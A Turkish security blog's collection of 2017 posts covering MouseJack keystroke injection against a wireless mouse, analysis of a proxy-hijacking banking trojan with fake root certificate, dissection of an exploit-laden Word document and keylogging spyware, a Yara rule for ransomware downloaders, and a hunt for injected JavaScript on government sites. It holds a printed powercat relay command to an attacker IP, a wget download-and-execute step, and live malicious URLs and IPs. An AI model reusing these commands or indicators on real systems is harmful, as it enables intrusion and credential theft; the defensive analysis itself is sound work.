Hack 4 Career - 2017

Casus Fare

By Mert SARICA on December 1st, 2017 - online version

2015 yılında elektronik ürünler satan bir mağazada kampanyada olan bir ürün seti dikkatimi çekmişti. Kaspersky Internet Security güvenlik yazılımını satın aldığınız taktirde Microsoft’un Sculpt Mobile model kablosuz faresi hediye olarak geliyordu. Yeni bir fareye ihtiyacım olduğu için o zamanlar hiç düşünmeden satın aldığım ve yıllardır severek kullandığım bu kablosuz farenin, sahip olduğu zafiyet nedeniyle arkamdan işler çevirebilecek bir casusa dönüşebileceği hiç aklıma gelmemişti. :)
Bluetooth olmayan kablosuz klavye ve farelerin RF haberleşmesi üzerine yapılan araştırmalara kısaca bakacak olursak, 2007 yılında Max Moser tarafından 27 MHz bandında haberleşen kablosuz klavyelerin (Microsoft ve Logitech) uzaktan rahatlıkla dinlenebileceği, yaptığı bir araştırma sonucunda ortaya çıktı ve güvenlik dünyasında oldukça ses getirdi. 2009 yılında ise Max Moser ve Thorsten Schroeder, kablosuz klavyeleri dinlemek amacıyla geliştirdikleri ve KeyKeriki adını verdikleri aygıtı duyurdular. 2010 yılında ise bu defa 2.4 GHz bandından haberleşen ve Nordic Semiconductor NRF24XXX çipine sahip klavyeleri de dinleyebilen KeyKeriki v2.0‘ı duyurdular. 2011 yılında Travis Goodspeed, ~5TL değerinde olan nRF24L01+ çipini promiscuous kipte çalıştırarak 2.4 GHZ bandında NRF24XXX çipler tarafından gönderilen paketlerin basit bir şekilde izlenebileceğini (sniff) gösterdi. 2015 yılında Samy Kamkar, Arduino tabanlı KeySweeper aygıtı ile Microsoft klavyelerden tuş bilgilerinin anlık olarak pratik bir şekilde nasıl çalınabileceğini tüm dünyaya gösterdi.
Yıllar içinde yapılan bu araştırmalar ve çalışmalar sayesinde bluetooth olmayan kablosuz klavyeler (2.4 GHz ISM) ile bilgisayarlar arasındaki RF haberleşme, üreticiler tarafından (istisnalar hariç) güçlü algoritmalarla şifrelenerek art niyetli kişiler tarafından tuş bilgilerinin izlenmesinin önüne geçildi. Üreticiler kablosuz klavyeleri güvenli hale getirmek için yoğun çaba sarfederken, kablosuz fareler arka planda kaldı. Ne de olsa bir farenin hareketlerinin ve basılan buton bilgilerinin (sağ, sol, orta) şifresiz çalınması art niyetli kişilerin ne işine yarayabilir ? İşin aslının pek de öyle olmadığını 2015 yılında Bastille firmasının yapmış olduğu ve MouseJack adını verdiği araştırma ve çok sayıda üreticinin etkilendiği yöntem ile ortaya koymuş (video) oldu. MouseJack yöntemi ile fare alıcısı olarak bilgisayara takılan USB alıcıya fare hareket ve basılan butonların bilgilerinin yerine kablosuz olarak Bad,Bad USB blog yazımda olduğu gibi Ducky Script formatında klavye tuş basma bilgileri (keystroke) gönderilmektedir. Bu sayede benim gibi dizüstü bilgisayar kullandığınız için kablosuz klavye kullanmasanız da, kablosuz fare kullandığınız için bilgisayarınızın başından kısa süreliğine kalktığınızda, art niyetli bir kişi kablosuz olarak bilgisayarınıza bağlı olan USB alıcıya kablosuz fareden gönderiliyormuş gibi istediği tuş basma bilgilerini gönderebilmektedir!
Kablosuz Microsoft fare kullanan biri olarak, MouseJack yönteminin farem üzerinde etkili olup olmadığını anlamak için hemen işe koyuldum ve Bastille’nin MouseJack GitHub sayfasında belirtildiği üzere CrazyRadio PA USB aygıtını satın almaya karar verdim. nrf-research-firmware donanım yazılımını derleyip, CrazyRadio PA’ya (bin/dongle.bin) yükledikten sonra Bastille’nin GitHub sayfasında yer alan araçların etraftaki nRF24L01+ aygıtları tespit etmeye ve paketleri izlemeye imkan tanıdığını gördüm. Bastille, klavye tuş basma bilgilerini gönderebilen aracını sadece üreticilerle paylaştığı için GitHub’da ufak bir araştırma yapmaya karar verdim ve çok geçmeden klavye tuş basma bilgilerini de göndermeye imkan tanıyan jackit aracı ile karşılaştım.

Jackit aracını Kali’ye kurduktan hemen sonra Ducky Script formatında hazırladığım klavye tuş bilgilerini, Crazyradio PA ile göndermeye başladım. Kısa bir süre sonra Kali’de root terminal açıldı, wget ile http://www.mertsarica.com adresinden pwned dosyası indirildi ve çalıştırıldı.

Yapmış olduğum bu çalışma sonrasında sahip olduğum Microsoft marka kablosuz faremi üzülerek çöpe atıp, daha güvenli bir kablosuz fare almak için elektronik ürünler satan bir mağazanın yolunu tuttum. Fiziksel güvenliğim ve güvenlik farkındalığı için yapmış olduğum bu çalışmanın, kablosuz klavye ve fare kullananlar adına faydalı olmasını temenni eder, bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
The post Casus Fare appeared first on Siber Güvenlik Günlüğü.

Man In The Proxy

By Mert SARICA on November 1st, 2017 - online version

Benim gibi bir bankada çalışıyor, tersine mühendislikten keyif alıyor ve bankacılık zararlı yazılımları da özel olarak ilgi alanınıza giriyorsa, analiz etmek için çeşitli örnekler zaman içinde elinize düşüveriyor. Kimi zaman bu bankacılık zararlı yazılımlarını temin etmek işin en zor kısmı olsa da günün sonunda başarıyla analiz edip, yazılım ekipleri ile yakın çalışarak, müşterilerinizi korumak için beyin fırtınaları, çalışmalar yapmak mesleki tatmin adına pahabiçilmez oluyor.

Bu hikaye, 2016 yılının Kasım ayında bir kullanıcının bankacılık işlemi gerçekleştirmek üzere müşterisi olduğu bankanın internet şubesine bağlanıp bilgilerini girdiğinde, daha önce hiç karşılaşmadığı şüpheli bir uyarı mesajı (Sayın kullanıcı! Sitede teknik işlemler yapılıyor. Bilgisayardan, tabletten veya akıllı telefondan yarın girebilirsiniz. Özür dileriz) ile karşılaşması ve bankaya haber vermesi ile başlar. Yapılan incelemede, kullanıcının internet tarayıcısının özellikleri bölümünde, vekil (proxy) sunucu adresi tanımlama kısmında http://valnorak.top/pPkJX8/G7E34.eod adresinin yer aldığı görülür. GF7E34.eod isimli auto-config dosyası incelendiğinde ise hedef alınan bankaların listesi ortaya çıkar. Kullanıcı bu bankalardan birinin internet şubesine gitmeye çalıştığında internet tarayıcısı, kullanıcının trafiğini 194.165.16.35 ip adresinde bulunan vekil sunucuya yönlendirerek banka ile olan iletişim artık art niyetli kişilerin yönlendirdiği vekil sunucu ile gerçekleşmeye başlar. Vekil sunucudan kullanıcıya, bankaya aitmiş süsü verilen sahte sayfalar (response) iletilerek kullanıcının bu sayfalara internet şube girişi için gerekli bilgilerini (kullanıcı adı, parola, sms doğrulama kodu vs.) girmesi sağlanarak müşterinin bilgileri çalınır. Sahte sayfaya yönlendirilen internet tarayıcısının kendinden imzalı (self-signed) SSL sertifika nedeniyle uyarı vermemesi adına da, yönlendirilme öncesinde kullanıcının sistemine TurkSign isimli bir kök sertifika yüklenir. Zararlı yazılım, iz bırakmama adına sistem üzerinde kalıcı (persistency) olmamayı tercih ettiğin için ise sistem üzerinde zararlı yazılımın yürütülebilir (exe) haline rastlanmaz.

Aradan aylar geçtikten sonra 2017 yılının Mayıs ayında, bir başka bankadaki uzman arkadaşın paylaşımı ve bankalar arası siber tehditlerin birlikten güç doğar edasıyla paylaşıldığı bir platformda (BASTM) paylaşılan bir bilgi sayesinde zincirdeki kayıp halka olan yukarıda bahsi geçen zararlı yazılıma ulaşmayı başarabildim. Art niyetli kişiler, kullanıcılara zararlı yazılımı indirtmek için öncelikle sahte bir Flash Player güncelleme sayfası oluşturup, buraya içinde Flash-2017.zip dosyası içinde Flash-2017.js isimli bir dosya yüklemişler. Okunaklı olmayan (encoded) bu dosya çalıştırıldığında, ekrana sahte bir hata mesajı çıkarıp, sonlanıyordu. Zararlı JavaScript Analizi başlıklı yazımı okuyanlar, okunaklı (obfuscated) olmayan bu JScript kodunu hata ayıklama (debugging) yöntemi ile analiz etmeye çalıştıklarında 3 büyük internet tarayıcısında hata aldıklarını göreceklerdir. “WScript is not defined”, “ActiveXObject is not defined” ve benzer durumlarda nasıl hata ayıklama gerçekleştirebileceklerini (debugging) merak edenleri hemen Wscript Hata Ayıklaması başlıklı diğer bir blog yazıma yönlendirebilirim. ;)

JScript kodunu adım adım hata ayıklama ile analiz ettikten sonra bu kodun http://highetave.xyz/gete14.php?ff1 adresine bir istek gönderdiğini ve her defasında web sunucusundan dönen yanıtın farklı (Server-side polymorphism) olduğunu gördüm. Web sunucusundan dönen yanıt, kod üzerinde yer alan ilgili fonksiyonlar tarafından çözüldükten sonra diske 0c03.exe (md5: dcfb9cab318417d3c71bc25e717221c2) adı altında kayıt ediliyor ve ardından çalıştırılıyordu. Paketlenmiş (packed) 0c03.exe yürütülebilir dosyasını (exe), x64dbg aracı ile paketinden çıkarıp (unpack), diske kayıt ettiğimde ise zararlı yazılımın maskesi yavaş yavaş düşmeye başladı.

Flash-2017.js
MD5: 41B90BEC4B0793FA8485D547C527D8D2
SHA-256: A780E527AF6CEEF907D5CBA7FA45DEC9804B265672DB938C82B62D5637FD6DBB
0c03.exe
MD5: DCFB9CAB318417D3C71BC25E717221C2
SHA-256: 5A2B14AB6F8620C812C6C51A0F4F0E0DB9104682392CB4346AFF688AB346EB0A
Zararlı yazılımın paketten çıkmış halini x64dbg aracı ile analiz etmeye başladığımda ilgimi çeken bazı tespitlerim oldu. Bunlardan bazılarına değinecek olursam;
Zararlı yazılım Türk ve Kore bankalarını hedef almaktadır.
Çalıştırıldığı sistemin dili Türkçe veya Korece değilse kendini sonlandırmaktadır.

Çalıştırıldığı sistem üzerinde bdagent.exe (BitDefender), spideragent.exe (Doctor Web) işlemleri (process) çalışıyor ise, uyuma süresi dinamik olarak hesaplanan sleep() fonksiyonunu pas geçip, anti-kum havuzu (sandbox) adına sistem üzerinde python.exe işlemi çalışıyor mu kontrolü yapıp, sonucu evet ise kendisini sonlandırmaktadır. Sistem üzerinde avp.exe, avpui.exe (Kaspersky) işlemleri çalışıyor ise Base64 ile gizlenmiş (encode) farklı bir adresi vekil sunucu olarak kullanmaktadır. (http://ritakindek.xyz/comitr/conmatr.eew). Eğer sistem üzerinde Kaspersky yüklü değil ise o zaman farklı bir adresi kullanmaktadır. (http://redterma.pw/I2WO6r/5i9XDN9.eet)

Çalıştırıldığı sistem üzerindeki internet tarayıcılarının ön belleğinde (cache) 7 bankamızın internet şubelerinin web adreslerine dair en az iki kayıt bulur ise sonraki adıma geçiyor aksi halde kendini sonlandırıyor. Önceki adımlardan başarıyla geçer ise çalıştırıldığı sisteme TurkSign adında sahte bir kök sertifika yüklemektedir. Ayrıca çalıştırıldığı Windows’un Product ID’sini ve önbellekte tespit ettiği internet şube adreslerini de bails parametresi ile komuta kontrol merkezine göndermektedir.

Sistem üzerindeki internet tarayıcısının vekil sunucu (proxy) adresini yukarıda belirtmiş olduğum ve auto-config dosyasının yer aldığı adreslerden biri ile değiştirerek, internet tarayıcısı tarafından internet şubeye yapılan tüm HTTPS trafiğini art niyetli kişilerin komuta kontrol merkezine (194.165.16.175) yönlendirmesini sağlamaktadır. Bu sayede bankasının internet şubesine gittiğini düşünen banka müşterisi, art niyetli kişilerin hazırlamış olduğu sahte banka sayfasına giriş yapmaya çalışmakta ve tüm bilgilerini art niyetli kişilere göndermektedir. Internet tarayıcısının sertifika hatası vermemesi adına da sisteme yüklenen TurkSign isimli kök sertifikadan faydalanılmaktadır. Müşterinin internet şube giriş bilgileri çalındıktan sonra müşteriye “Sayın kullanıcı! Sitede teknik işlemler yapılıyor. Bilgisayardan, tabletten veya akıllı telefondan yarın girebilirsiniz. Özür dileriz.“ mesajı gösterilmekte ve arka planda art niyetli kişiler kötü emellerini gerçekleştirmektedirler.

Bu bilgiler ışığında internet şube kullanan son kullanıcılar olarak bu internet bankacılığı zararlı yazılımından korunmak için birincisi bilinmeyen sitelerden dosyalar indirilmemeli ve çalıştırılmamalıdır. İkincisi ise bu zararlı yazılım internet tarayıcısının ön belleğinde internet şube web adreslerini aradığı için Chrome internet tarayıcısı kullananların internet şubeye girerken gizli modu (incognito) kullanmaları, internet explorer, firefox vb. internet tarayıcılarının kullananların ise “çıkışta geçmişi temizleme” özelliğini kullanmalarını tavsiye edebilirim.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
The post Man In The Proxy appeared first on Siber Güvenlik Günlüğü.

Yakından da Yakın!

By Mert SARICA on October 2nd, 2017 - online version

Dijital çağ öncesinde de dijital çağda da, benim de sıklıkla güvenlik farkındalığı sunumlarımda ve blog yazılarımda yer verdiğim Willie Sutton gibi bir zamana damgasını vurmuş banka soyguncularının hayatlarını incelediğinizde, banka soygunlarının ana sebebinin değişmediğini görebiliyorsunuz, para! Geçmiş yılların silahlı soygunlarının siber banka soygunlarına dönüştüğü günümüzde, banka şubelerinin güvenliğinde bankalar için vazgeçilmez olan güvenlik görevlilerinin yanına siber güvenlik uzmanlarının da eklenmesi, dijital çağda siber soygunlarla mücadeleye karşı önemli bir rol oynamaya başladı. Bankaların fiziksel güvenlik adına banka soygunlarından çıkardığı dersler de yerini, siber tehdit raporlarından ve hacklenen bankalardan çıkardıkları derslere bıraktı.
FireEye (Mandiant) firması tarafından Mart ayında yayınlanan M-Trends raporunun finans kurumlarımız tarafından dikkatli ele alınması ve iyi bir şekilde etüt edilmesi gerekiyor. Özellikle dünya genelinde siber suç çetelerinin bankalara yönelik gerçekleştirdikleri siber saldırılarda, devlet destekli (nation state) siber saldırılarda sıkça gördüğümüz 0. gün zafiyetlerinden faydalanıyor olmaları, bu rapora damgasını vuran en önemli tespitlerden sadece biri diyebiliriz.
Bu tür tehdit raporlarını okuyan kimi kurumlar, tehdidin kendilerine oldukça uzak olduğunu düşünerek, insana ve güvenlik teknolojilerine yapılması gereken yatırımları ikinci plana atarak, hacklenene dek huzur ve mutluluk içinde hayatlarına devam ederler. Etrafındaki olup bitene seyirci kalmayıp, tehditleri yakından takip edip, analiz eden kurumlar ise, bu tür tehdit raporlarından da faydalanarak gelecek yıllarda siber güvenlik üzerine izleyecekleri stratejiyi belirleyip, kaynaklarını doğru alanlara yatırım yapmak için kullanarak hacklenme ihtimallerini olabildiğince azaltmaya çalışırlar.
Bu hikaye, hem M-Trends raporunda (sayfa 11) hem de Bir APT Girişimi başlıklı blog yazımda olduğu gibi yine bir üniversite e-posta hesabından gönderilen bir e-posta ile başlar. Alınan önlemler sayesinde hedef kişiye ulaşamayan bu e-posta, FireEye güvenlik sistemi başta olmak üzere çok sayıda sistemde alarmları tetikleyerek şüpheli e-postanın ekinde yer alan zararlı Office dosyasının (Confirmation_letter.docx MD5:2abe3cc4bff46455a945d56c27e9fb45) kurumsal SOME ekibi tarafından manuel olarak incelenmesi sürecini başlatır. Bu defa art niyetli kişiler daha önceki hikayede olduğu gibi üniversitedeki bir akademisyenin e-posta hesabını ele geçirip onun üzerinden ilerlemek yerine yine, yine aynı üniversiteden gönderiliyormuş süsü verdikleri sahte (spoofed) bir e-posta adresinden (m.salvalaggio@lse.ac.uk) e-posta göndermeyi tercih etmişlerdi. E-postada adı geçen kişinin üniversitenin personel listesinde yer almaması ve Linkedin üzerinde yapılan bir araştırmada da bu kişinin (Matteo Salvalaggio) farklı bir üniversitede çalışıyor olması şüpheleri arttırıyordu.

Gönderilen Word dosyasını sanal makinede açmaya çalıştığınızda, sistemin ağırlaşması ve yanıt veremez hale gelmesi, bu dokümanda bir istismar kodu olduğu şüphesini akıllara getiriyordu. Pestudio aracı ile temel birkaç kontrol yapıldığında ise 2015 yılında Microsoft Office yazılımında tespit edilen ve 2007’den 2016’ya kadar tüm sürümleri etkileyen ciddi bir zafiyeti (CVE-2015-2545 / MS15-099) istismar etmeye çalıştığı anlaşılıyordu.

Confirmation_letter.docx dosyasını 7-zip aracı ile açtıktan sonra zafiyete konu olan EPS dosyasını (image1.eps) bulmak çok zor değildi.

EPS dosyasını Notepad++ aracı ile incelediğimde, istismar kodu içinde yer alan birden fazla yürütülebilir dosya (executable – binary) başlıkları (MZ – 4D5A) hemen dikkatimi çekti. Bu tespit, istismar kodu içinde birden fazla yürütülebilir dosya (executable) olduğunu ve zafiyet başarıyla istismar edildikten sonra işletim sistemi üzerinde bunların çalıştırılacağına işaret ediyordu.

İstismar kodu ile zaman kaybetmeyip, MZ başlığına sahip tüm blokları ayrı ayrı apt1.exe, apt2.exe, apt3.exe vb. adı altında diske kayıt edip pestudio ile incelemeye başladım. apt3.exe (ekran görüntüsünde a3.exe olarak da yer almaktadır.) ve apt5.exe (ekran görüntüsünde a5.exe olarak da yer almaktadır.) dosyalarını incelediğimde, karakter dizilerinde (strings) yer alan Exploit anahtar kelimeleri, iki dosyanın birbirine fazlasıyla benzemesi (a3 32bit, a5 64bit) ve VirusTotal raporunda yer alan CVE-2016-7255 (MS16-135) çıktısı dikkatimi çekti. İki dosyayı da inceledikten sonra bunun Fancy Bear, APT28, Sofacy, STRONTIUM adıyla da bilinen Pawn Storm APT grubu tarafından da zamanında kullanılmış olan ve Windows kernel zafiyetini istismar eden bir istismar kodu olduğu ortaya çıktı.

Tabii bu iki istismar kodunun nihai amacı, EPS dosyası içinde yer alan zararlı yazılım kodunu sistem üzerinde yönetici yetkisi ile çalıştırmak olduğu için dinamik analiz için apt1.exe dosyasını öncelikle sanal makinede çalıştırmaya ve davranışını izlemeye karar verdim. apt1.exe dosyasını çalıştırdıktan kısa bir süre sonra kendisini %AppData%\AMD\OGLCache.exe klasörüne kopyaladığını, 84.202.2.12 ip adresi ile şifreli olarak haberleştiğini, AMD klasöründe default.conf adı altında içeriği okunaklı olmayan (rastgele oluşturulan bir isim, dosyanın çalıştırılma tarihi şifreli yazılıyor.) bir dosya oluşturduğunu, sistem yeniden başladığında çalışabilmek için klasör bilgisini HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Lollipop anahtarına yazdığını gördüm. Pestudio aracı ile OGLCache.exe aracını incelediğimde ise paketlenmiş (packed) olduğu için statik analizden elle tutulur pek bir bilgi elde edemedim.

Daha sonra statik analizden WriteProcessMemory fonksiyonunu _riteProcessMemory değiştirerek kendini gizlemeye çalışıp, sistem üzerinde çalıştırıldıktan sonra GetLongPathNameA fonksiyonunu çok defa çağırarak dinamik kod analizini zorlaştırmaya çalışan bir paketleyici (packet) ile paketlenmiş olan OGLCache.exe programını paketinden çıkardım. Pestudio ile incelediğimde bu defa haberleştiği ip adresinin yanı sıra, Powercat aracına dair karakter dizileri (strings) ve tuş kaydı yaptığına dair ipuçları elde ettim. Ayrıca hyd7u5jdi8 karakter dizisinden yola çıkarak art niyetli kişilerin bu zararlı yazılımı Ağustos 2016’dan beri aktif olarak kullandıklarını tespit ettim.

Dinamik kod analizine devam ettiğimde, çalışan işlemler (process) arasında ns.exe isimli (Norton Security olduğunu tahmin ediyorum.) işlemi gördüğünde, %TEMP% klasörüne oluşturduğu loopc.cmd isimli toplu işlem dosyası (batch) ile Powercat aracını çalıştırarak (powercat -l -p 4000 -r tcp:84.200.2.12:443;) 4000. bağlantı noktası (port) ile 84.200.2.12 ip adresine 443. bağlantı noktası arasında relay yapabildiğini gördüm. Asıl amacım, zararlı yazılımın çekirdeğine yani tüm fonksiyonların çağrıldığı ana fonksiyona ulaşmak ve zararlı yazılımın yeteneklerini öğrenmek olduğu için analiz etmeye devam ettim. Fonksiyonlar arası gezinirken çok geçmeden IDA’nın grafik görünümü ile 00405AB3 adresindeki ana fonksiyona ulaştım. Bu fonksiyon altından çağrılan diğer fonksiyonlara hızlıca baktığımda bunun uzaktan sistemi yönetmeye imkan tanıyan ve buna ilaveten tuş kaydı yapabilen, ekran görüntüsü alabilen ve Outlook, Thunderbird profillerinde yer alan kullanıcı adı ve parola bilgilerini de çalabilen bir casus yazılım olduğunu öğrenmiş oldum.

Analizimi tamamlamadan önce zararlı yazılımda yer alan fakat analizim süresince devreye girmeyen tuş kaydından sorumlu olan fonksiyonu bulup, hızlıca göz atmaya karar verdim. 0041572C adresinde yer alan tuş kaydından sorumlu olan fonksiyonu tespit ettikten sonra programın akışını değiştirerek, akışın bu fonksiyona devam etmesini sağladım. Ardından sistem üzerinde bastığım her tuşun (AAAAAAAAAAAAA…), AMD klasöründe dosya adı tarihten oluşan bir dosyaya (-08-03-2017) kayıt edildiğini gördüm. Okunaklı olmayan bir dosyanın şifrelemesini de çözmek için fonksiyona kısaca göz attığımda, dosyaya yazılan her bir baytın ilk olarak 9D hex değeri ile XOR işleminden geçirilip ardından da çıkan değere 36 sayısının eklediğini gördüm. Hex Workshop Hex Editor aracı ile tuş kaydının saklandığı dosyada ters işlem (-36 ^ 9D) yaptığımda ise okunaklı olmayan bastığım tuş bilgilerini okunaklı hale çevirebildim.

Sonuç itibariyle organize siber suç çetelerinin hedef aldıkları kurumlara saldırırken devlet destekli (nation state) siber saldırganlardan çok da geri kalmadıklarını görebiliyoruz. Çıtayı her daim yükseltelen siber saldırganlarla mücadele adına FireEye (Mandiant)‘ın da raporunda yer verdiği üzere özellikle finans kurumlarının güvenlik ve insan yatırımlarını arttırmaları büyük önem kazanıyor. Son olarak eski FBI başkanı Robert Miller’ın “Dünyada iki çeşit kurum var; Bir, hacklenenler, iki, hacklenecek olanlar” sözünü hatırlatarak, bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Not:

- Bu yazıya konu olan APT grubu henüz bilinmemekte olup, konu olan zararlı yazılım ise FireEye firmasının Mayıs ayında yayınlamış olduğu EPS Processing Zero-Days Exploited by Multiple Threat Actors blog yazısında NETWIRE olarak isimlendirilmiştir.

- Bu yazı ayrıca Pi Hediyem Var #11 oyununun çözüm yolunu da içermektedir.

The post Yakından da Yakın! appeared first on Siber Güvenlik Günlüğü.

Yara ile Tehdit Avı

By Mert SARICA on September 1st, 2017 - online version

Dünya genelinde, son kullanıcı sistemlerindeki verileri zararlı yazılımlarla (cryptolocker vb.) şifreledikten sonra dosyaların şifresiz halini silip ardından da şifre çözme anahtarını kullanıcılara satmaya çalışarak bundan kazanç sağlama furyası hız kesmeden devam ediyor. Zaman zaman güvenlik araştırmacıları tarafından şifreleme algoritmalarının hatalı kullanımına bağlı olarak zararlı yazılımlar tarafından şifrelenen veri çözülebilse de, çoğu vakada kullanıcılar çoğunlukla art niyetli kişilere talep edilen yüksek miktarlı çözme bedelini ödemek zorunda kalıyorlar. Her vaka sonrasında veri yedeklemenin kıymeti daha net anlaşılsa da, 1000 nasihat yerine 1 musibet ile hareket eden kullanıcılar olduğu sürece art niyeli kişilerin bu kazanç kapısından yakın gelecekte kolay kolay vazgeçmeyecekler gibi görünüyor.
Siber saldırıların hızla arttığı günümüzde, tehditleri tespit edip en kısa sürede müdahale edebilme kurumlar için büyük önem kazanmaya başladı. Öyle ki vizyoner kurumlar artık mevcut güvenlik teknolojilerini atlatan tehditleri kurum ağ ve sistemlerinde arayabilme adına siber tehdit avcılığına başladılar. Tehdit avcılığına imkan tanıyan teknolojilere baktığınızda, çoğunun kendi imzanızı yazmaya imkan tanıyan Yara aracını ve imzalarını desteklediğini görebiliyorsunuz.
Sevgili Halil ÖZTÜRKCİ‘nin 2014 yılında Yara ile ilgili olarak yayınlamış olduğu blog yazısına baktığınızda, Yara’nın o yıllarda yoğunluklu olarak adli bilişim analizinde ve bellek analizinde kullanılan Volatility aracı özelinde kullanıldığını görebiliyorsunuz. Bugün ise Yara’nın tehdit avcılığından zararlı yazılım analizine, FireEye NX gibi ticari ürünlerden, x64dbg gibi açık kaynak kodlu ve ücretsiz araçlara, paket kaydı yapan (full packet capture) teknolojilere kadar geniş bir alanda kullanılabildiğini görebiliyorsunuz. Bu da güvenlik uzmanlarına, güvenlik üreticilerinden bağımsız olarak kurum içinde kullanılan ve Yara desteği olan güvenlik sistemlerine, cihazlara tespit ve müdahaleye imkan tanıyan kendi yazdıkları imzalarını tanımlama imkanı tanıyor. İmza yazma, geçmiş yıllarda farklı güvenlik teknolojileri ile zor tecrübeler yaşamış olan güvenlik uzmanlarının kulağına nahoş gelse de, mevzu bahis Yara olduğunda işin rengi değişiyor çünkü Yara ile kural yazmanın oldukça basit, katma değerinin ise oldukça yüksek olduğunu tecrübe ile sabit olarak söyleyebilirim.
Cryptolocker salgınının tekrar zirve yaptığı geçtiğimiz aylarda, sosyal ağlarda ve NetSec e-posta listesinde, kimi güvenlik sistemlerinin, teknolojilerinin bu salgınları tespit etmede ve engellemede yetersiz olduğunu gördüm. Ben de böyle bir durum ile karşı karşıya kalındığında, özellikle defansif güvenlik uzmanlarının Yara ile yazabilecekleri basit bir imza ile içeriği değişen benzer tehditleri nasıl tespit edebileceklerine dikkat çekmek istedim.

Cryptolocker salgınına baktığımızda, 24 saatte çok sayıda farklı e-posta adresinden fiyatX.zip adı altında Cryptolocker varyantı gönderiliyordu. Her bir zip dosyası içinde karmaşıklaştırılmış (obfuscated) JavaScript koduna sahip bir indirici (downloader) bulunuyor ve çalıştırıldıktan hemen sonra şifreleme zararlı yazılımını indirip sistemde çalıştırıyordu.

İş, boyutları ve içeriği birbirinden tamamen farklı olan varyantları tespit etmeye geldiğinde Yara ile bunu oldukça kolay bir şekilde yapabilirsiniz. İlk olarak boyutları listelediğimizde bir varyant hariç tamamının 55 KB‘den ufak olduğunu görüyoruz. Dosyaların içeriğine baktığmızda ise her ne kadar içerik tamamen farklı olsa da String fonksiyonu kullanılarak karmaşık kod çözümlenerek alan adı ve indirilecek dosya ortaya çıktığı için String fonksiyonu üzerinden ilerleyebiliriz.

Normal şartlarda 55 KB’dan küçük olan bir dosyada kullanılan String fonksiyonunun sayısının, dosya şüpheli olmadığı sürece 150‘den az olacağını varsayarak Yara anahtar kelimelerinden faydalanarak aşağıdaki gibi bir Yara imzası oluşturabiliriz. Yazmış olduğumuz cryptolocker.yar isimli imzanın doğru çalıştığını ve elimizdeki tüm varyantları tespit edebildiğini Yara aracı ile de doğruladıktan sonra imzamızı Yara destekleyen tüm güvenlik sistemlerine, teknolojilerine yükleyerek yeni bir salgını, tehdidi tespit etmede önemli bir mesafe katetmiş oluyoruz.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
The post Yara ile Tehdit Avı appeared first on Siber Güvenlik Günlüğü.

Tehdit Avı

By Mert SARICA on August 1st, 2017 - online version

Bazen bir zararlı yazılımı konu alan blog yazısı yazdıktan sonra “Peki sen olsan bunu nasıl tespit edebilirdin ?” diye kendi kendime soruyorum ve arka planda aklımı kurcalayan, yanıtlanmayı bekleyen bu soru ile ilgili bir süreç istemsiz olarak başlamış oluyor. Bu süreç tamamlandığında, soru yanıtlandığında ise şekil 1-A’da görüleceği üzere ortaya yeni bir blog yazısı çıkıvermiş oluyor. Okumakta olduğunuz bu yazıda da yine benzer şekilde Aralık 2016’nın blog yazısı olan They PWN Houses! yazısını yazdıktan sonra “Peki bu art niyetli kişiler devlet sitelerini hedef alıyorlar ve sayfaya zararlı JavaScript kodu enjekte ediyorlar ise bunu tespit etmek pratikte ne kadar zor olabilir ?” sorusuna yanıt aradım.
İlk iş olarak Google, Bing gibi arama motorlarından faydalanarak devlet sitelerimizin (.gov.tr uzantılı) alan adlarına arama motorlarının APIleri üzerinden ulaşmaya çalışsam da, mevcut kısıtlarından dolayı başarılı olamadım. Keşke elimin altında OpenDNS servisine yapılan DNS istekleri olsaydı da oradan listeyi çıkarabilirdim diye çaresizce hayal kurarken aklıma OpenDNS’in muadili olan Roksit geldi ve kendileri ile iletişime geçerek yapmış olduğum güvenlik araştırması ile ilgili olarak bu konuda destek istemeye karar verdim. Sağolsunlar niyetimin iyi olduğunu anladıktan sonra her ne kadar tamamı olmasa da aklımdaki fikri pratiğe dökebileceğim kadar gov.tr uzantılı alan adlarının listesini (~8000 tane) benimle paylaştılar.
Listeyi temin ettikten sonra vakit kaybetmeden Python ile tüm web sitelerini gezip, ana sayfaya mevcut site üzerinden veya herhangi bir web adresi üzerinden enjekte edilen (import) JavaScript kodlarını tespit eden ve web adresleri ile birlikte diske kayıt eden JavaScript Crawler adında oldukça basit bir araç tasarladım. Bu aracı çalıştırdıktan kısa bir süre sonra tespit edilen tüm JavaScript dosyalarını ilgili adreslerinden indiren (download) bir betik dosyası hazırladım. JavaScript dosyalarını indirdikten sonra ClamAV, ESET NOD32 ve Kaspersky Internet Security Suite güvenlik yazılımları ile tüm bu dosyaları tarattığımda herhangi bir zararlı dosyaya rastlamadım.

Ardından kayıt dosyasında yer alan JavaScript dosyalarının web adreslerini sort aracı ile sıralayıp ajax.googleapis.com gibi bilinen adresleri ayıkladıktan sonra insfollow.com alan adı dikkatimi çekti. Bu alan adının hangi gov.tr uzantılı devlet sitesi üzerinde tespit edildiğini kontrol ettiğimde ise Rize Devlet Hastanesi‘nin web sitesi olduğunu gördüm. Web sitesini ziyaret edip kaynak koduna baktığımda insfollow.com alan adını ve enjekte edilen JavaScript dosyasını kolaylıkla tespit edebildim. VirusTotal sitesi üzeründe insfollow.com adresini arttığımda ise 3 güvenlik yazılımının bunu oltalama (phishing) sitesi olarak tespit ettiğini gördüm.

http://www.insfollow.com web sitesini ziyaret ettiğimde ise bu sitenin Instagram sosyal medya platformu için takipçi satmak amacıyla oluşturulmuş bir web sitesi olduğunu gördüm. Bu kılıf altında oluşturulup, kullanıcıların sosyal medya ve ağ parolalarını çalan zararlı siteleri ve zararlı JavaScript kodlarını daha önce analiz ettiğim (Jeton Hırsızları , Sosyal Ağ Hırsızları) için araştırmaya devam etmeye karar verdim.

İlk olarak sitede reklamı yapılan Takipçi Kazan mobil uygulamasını indirip Genymotion öykünücüsü (emulator) üzerinde çalıştırdım. Açılan mesaj penceresinde, uygulamaya Instagram hesabı ile giriş yapılması gerektiği söyleniyordu. Ben de bunun üzerine kendime parolasını gönül rahatlığıyla çaldırabileceğim bir Instagram hesabı açtım.

Uygulamayı çalıştırdığımda arka planda http://myapi.mobiroller.com web adresine yapılan isteklerden bu uygulamanın Mobiroller ile geliştirildiğini öğrendim. Giden isteklere daha detaylı baktığımda da, uygulama geliştiricine ait olan e-posta adresleri rahatlıkla görülebiliyordu.

